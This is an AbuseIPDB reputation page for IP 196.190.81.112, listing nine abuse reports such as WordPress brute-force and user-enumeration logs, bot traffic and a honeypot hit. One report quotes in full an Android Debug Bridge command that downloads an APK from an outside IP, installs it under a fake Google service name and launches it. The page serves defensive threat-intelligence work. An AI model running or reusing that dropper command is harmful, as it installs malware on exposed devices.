JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 196.190.81.112

196.190.81.112 was found in our database!

This IP was reported 9 times. Confidence of Abuse is 28%: ?

28%

ISP	Ethio Telecom
Usage Type	Fixed Line ISP
ASN	AS24757
Domain Name	ethiotelecom.et
Country	🇪🇹 Ethiopia
City	Dessie, Amhara

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 196.190.81.112

Whois 196.190.81.112

IP Abuse Reports for 196.190.81.112:

This IP address has been reported a total of 9 times from 7 distinct sources. 196.190.81.112 was first reported on May 6th 2026, and the most recent report was 23 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 TPI-Abuse	2026-10-22 14:22:38 (23 hours ago)	(mod_security) mod_security (id:225170) triggered by 196.190.81.112 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:225170) triggered by 196.190.81.112 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Oct 22 10:22:30.471744 2026] [security2:error] [pid 15122:tid 15122] [client 196.190.81.112:16059] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)\|\|drdot.xyz\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "drdot.xyz"] [uri "/wp-json/wp/v2/users"] [unique_id "atocJqiiysQ2TjM24yIS0QAAAAw"], referer: https://drdot.xyz/ show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 drewf.ink	2026-10-10 10:44:41 (1 week ago)	[10:44] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/ ... show more [10:44] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/null\|\|cd /sdcard 2>/dev/null\|\|cd /tmp 2>/dev/null\|\|cd /; rm -f s.apk; (curl -skL http://217.60.195.187/LjEZs/Services.apk -o s.apk\|\|toybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk\|\|wget http://217.60.195.187/LjEZs/Services.apk -O s.apk\|\|busybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk) 2>/dev/null; SZ=$(ls -l s.apk 2>/dev/null \| awk '{print $5}'); pm install -r -g s.apk >/dev/null 2>&1; cmd package install -r -g s.apk >/dev/null 2>&1; pm enable com.google.android.system.service >/dev/null 2>&1; am broadcast -a com.google.android.system.service.ENABLE_APP >/dev/null 2>&1; am start -n com.google.android.system.service/.TVOptimizer >/dev/null 2>&1; am start-foreground-service -n com.google.android.system.service/.MuhHeilong >/dev/null 2>&1; pm path com.google.android.system.service 2>/dev/null; echo SZ=$SZ show less	Hacking Exploited Host IoT Targeted
🇩🇪 LRob	2026-09-29 00:27:22 (3 weeks ago)	Not following 301 redirects — wasted requests \| method: GET \| path: /cest-la-rentree-dans-les-clubs- ... show more Not following 301 redirects — wasted requests \| method: GET \| path: /cest-la-rentree-dans-les-clubs-descrime-de-la-ligue-aura \| ua: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.73 Safari/537.36 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-27 11:47:29 (3 weeks ago)	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Sa ... show more Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-23 12:09:46 (1 month ago)	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0. ... show more Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 show less	Bad Web Bot
🇳🇱 Alt255	2026-09-13 08:18:27 (1 month ago)	[ti-22al] WordPress login brute-force: 4 suspicious requests detected by fail2ban jail apache-wordpr ... show more [ti-22al] WordPress login brute-force: 4 suspicious requests detected by fail2ban jail apache-wordpress. Example: 196.190.81.112 - - [13/Sep/2026:10:10:52 +0200] "POST /xmlrpc.php HTTP/1.1" 405 6017 "-" "Jetpack by WordPress.com (Jetpack 13.0; WordPress 6.1)" 196.190.81.112 - - [13/Sep/2026:10:12:08 +0200] "POST /xmlrpc.php HTTP/1.1" 405 6017 "-" "Jetpack by WordPress.com (Jetpack 12.5; WordPress 6.1)" 196.190.81.112 - - [13/Sep/2026:10:14:16 +0200] "POST /xmlrpc.php HTTP/1.1" 405 6017 "-" "Jetpack/12.0; WordPress/6.2; http://site86892843.com" 196.190.81.112 - - [13/Sep/2026:10:18:25 +0200] "POST /xmlrpc.php HTTP/1.1" 405 6017 "-" "WordPress.com; https://wordpress.com" ... show less	Brute-Force Web App Attack
🇺🇸 鬼影233	2026-08-20 16:02:53 (2 months ago)	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Sa ... show more Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0 show less	Bad Web Bot
🇺🇸 kosada.com	2026-06-29 11:45:12 (3 months ago)	Web bot: denial-of-service flood	DDoS Attack Bad Web Bot
🇬🇧 PeravixGroup	2026-05-06 13:12:38 (5 months ago)	Honeypot detection: Telnet / IoT device brute-force or exploitation attempt on port 23. Severity: ME ... show more Honeypot detection: Telnet / IoT device brute-force or exploitation attempt on port 23. Severity: MEDIUM. Aaran.cloud show less	IoT Targeted Brute-Force

Showing 1 to 9 of 9 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇨🇳 183.6.102.122

🇧🇷 177.53.85.15

🇺🇸 165.154.36.71

🇩🇪 91.92.43.221

🇳🇴 84.212.206.202

🇫🇷 78.232.35.162

🇺🇸 72.240.125.133

🇫🇮 45.159.23.175

🇧🇪 34.62.122.213

🇺🇸 192.253.209.127

🇧🇷 187.103.105.17

🇻🇪 181.208.13.40

🇫🇮 147.185.133.121

🇮🇳 122.161.174.53

🇹🇼 110.25.112.150

🇮🇳 103.216.144.157

🇫🇷 85.217.140.44

🇯🇴 37.202.115.195

🇦🇼 201.229.115.254

🇵🇱 194.180.49.127